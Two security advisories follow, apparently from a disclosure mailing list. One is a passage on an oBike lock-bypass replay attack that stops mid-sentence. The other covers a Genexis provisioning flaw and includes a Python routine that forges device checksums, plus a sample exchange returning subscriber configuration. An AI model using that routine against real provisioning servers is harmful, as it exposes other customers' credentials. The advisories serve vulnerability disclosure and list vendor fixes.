[FD] CVE-2018-16242 - oBike Electronic Lock Bypass
# # # CVE-2018-16242 - oBike Electronic Lock Bypass# # # # # # Product: oBike bicycle-sharing service # # Vendor:oBike Inc.# # CVE ID:CVE-2018-16242# # Subject: Access control bypass by replay attack on predictable nonce # # Effect:Unauthorized unlocking of bikes, cirumventing the ride-fees # # Author:Antoine Neuenschwander (@ant0inet)# # Date: 2018-09-13# # # Vendor/product description: - oBike is (was) a Singaporean stationless bicycle-sharing system with operations in several countries [1]. Introduction: - The bikes have a built-in Bluetooth lock [2]. Clients use their smartphone to locate a bicycle. Once nearby, they unlock the bicycle directly from the app or by scanning a QR code. Unlike traditional rental services, which require bikes to be returned to a fixed docking station, users are free to leave the bikes at any suitable bike parking spot. Affected: - As of August 2018, this issue seems to affect the whole oBike fleet (or what is left of it). Technical Description: -- The oBike lock consists of a TI CC2541 microcontroller, a power-optimized System on a Chip (SoC) used for Bluetooth Low Energy (BLE) applications. The lock itself has no IP connectivity; it piggybacks the mobile device's 3G/4G connection to communicate with the oBike backend. The lock communicates via BLE with the oBike app on the mobile device. Protocol messages are then relayed to the oBike backend via a REST API. oBike Lock (BLE) Mobile Device(HTTPS) oBike Backend ++---+-- || | | (1) hello(lat, lng)| | | <- | | Generate|| | 32bit | (2) keySource | | Challenge | -> | (3) unlockPass(keySource) | || > | Compute || | Response | (5)| (4) encKey, keys | | sendKeys(encKey, keys) | < | !Unlock | <- | | Bike! || | || | Generate|| | Acknowledge | (6) macKey, index | (7) | Message | -> | lockMessage(macKey,index) | || > | Register || | Ride (start || | billing) Steps: (1) BLE send `hello` message, push GPS coordinates to lock. (2) BLE receive `keySource`, a 32bit value used as a challenge. (3) HTTPS send `keySource` to oBike backend via the `unlockPass` REST call. (4) HTTPS receive `encKey` (key index) and a 128bit ciphertext in `keys`. (5) BLE send `keys` (truncated to 96bits) and the `encKey`. At that point, the bike will unlock. (6) BLE receive `macKey` and `index`, an acknowledgement that the unlocking was successful. (7) HTTPS send `lockMessage`, with the corresponding values (`macKey` and `index`). At that point, the oBike backend will register the ride and start billing. A first vulnerability [3] was found prior to this advisory, which consists in leaving out the acknowledgement in step (7). By omitting this message, the lock is opened but the ride is not registered at the oBike backend, therefore not being billed. Analysis of the `keySource` field (32 bit challenge) in step (2) showed that the values generated by the lock are not random as expected. Rather, the values represent the number of milliseconds since the chip was powered on. This corresponds to a time window
[FD] CVE-2017-6094 - Genexis GAPS Access Control Vulnerability
# #
# CVE-2017-6094 - Genexis GAPS Access Control Vulnerability#
# #
# #
# Product: Genexis Automatic Provisioning System (GAPS) #
# Vendor:Genexis B.V. #
# CVE ID:CVE-2017-6094 #
# Subject: Access control vulnerability #
# Effect:Leaked configuration settings, including user credentials #
# Author:Antoine Neuenschwander <anto...@schoggi.org> #
# Date: 2017-12-18#
# #
Vendor/product description:
-
Genexis develops FTTH equipment for the optical distribution networks of ISPs
including customer premises equipment (CPE) as well as infrastructure
components, supporting triple-play services (broadband internet, IPTV and VoIP).
The Genexis Automatic Provisioning System (GAPS) is the service used to monitor,
configure and update the CPEs.
URL: https://genexis.eu/product/gaps/
Introduction:
-
Management of Genexis CPEs can be done using TR-069 or DHCP/TFTP in combination
with UDP-based CPE commands. The CPE checks for most recent settings at startup
and performs periodic update checks. GAPS provides the configuration settings
for individual CPEs based on the device's MAC address. A configuration record
includes the following settings (among other):
- tftp server address, used to retrieve firmware images
- ingress and egress bitrates, according to the user's subscription
- sip server address, used to register to a VoIP service
- sip client credentials, used to authenticate the VoIP client
- ...
Given the MAC address, it was found possible to retrieve the configuration
settings of other subscribers' CPEs by sending forged UDP packets to GAPS. As a
result, sensitive data such as the sip credentials are exposed.
Affected:
-
This issue affects all versions up to 7.2. First mitigations available after
version 6.1.
Technical Description:
--
A CPE identifies itself by the MAC address of its WAN interface and a certain
"chk" value (48bit) derived from the MAC. The algorithm used to compute the
"chk" was disclosed by reverse engineering the CPE's firmware (retrieved from
the tftp server). It is possible to forge valid "chk" values for any given MAC
address using the following python routine:
def chk(mac):
a = [int(x, 16) for x in mac.split(':', 6)]
chk = [0] * 6
chk[5] = 1*a[0] + 3*a[1] + 7*a[2]+ 115 & 0xff
chk[3] = 7*a[1] + 1*a[2] + 3*a[3] + 101 & 0xff
chk[0] = 3*a[2] + 7*a[3] + 1*a[4] + 99 & 0xff
chk[4] =1*a[3] + 3*a[4] + 7*a[5] + 114 & 0xff
chk[1] = 3*a[0]+ 7*a[4] + 1*a[5] + 101 & 0xff
chk[2] = 7*a[0] + 1*a[1]+ 3*a[5] + 116 & 0xff
return ':'.join(['{:02x}'.format(x) for x in chk])
Example UDP message exchange (CPE <-> GAPS):
> mac=000f9461cafe
> chk=90e97d8523ac
> type=OCG1018MX
> hw=0
> fw=OCG1018MX.v1.10.0.10c.bin
> stage=0
< vlan_mmt=62241
< vlan_voice=58146
< vlan_p1=33572
< defpri=
< vlansp1=8324
< prip1=00
< userid0=
< authid0=
< passwd0=
< clip0=1
< clir0=0
< callwait0=0
< conference0=0
< clip1=0
< clir1=0
< callwait1=0
< conference1=0
< tftp_server=10.21.0.7
< tftp_server_port=69
< storecfg=0
< sip_server=
< sip_server_port=5060
< ratecount=3
< reg_exp=4
< country=ch
< send_dtmf=1
< sendflash=0
< dialplan=4|0[2-7]1[^]8|0[89]1[^]8|18[0-9]2|16[0-9]1|[^]+
< cliptype=1
< erate_p1=300
< versionOCG1018MX=OCG1018MX.v1.10.0.10c.bin
< erate_wan=300
< irate=012c
< erate=012c
Workaround / Fix:
-
As of GAPS 6.2, GAPS provides a workaround to limit CPE requests. To further
improve security, it is advised to use MACless provisioning with random postfix
to harden the workaround.
Starting with GAPS 7.3, the GAPS protocol will support a mechanism to prevent
calculated checksums to be be valid.
Timeline:
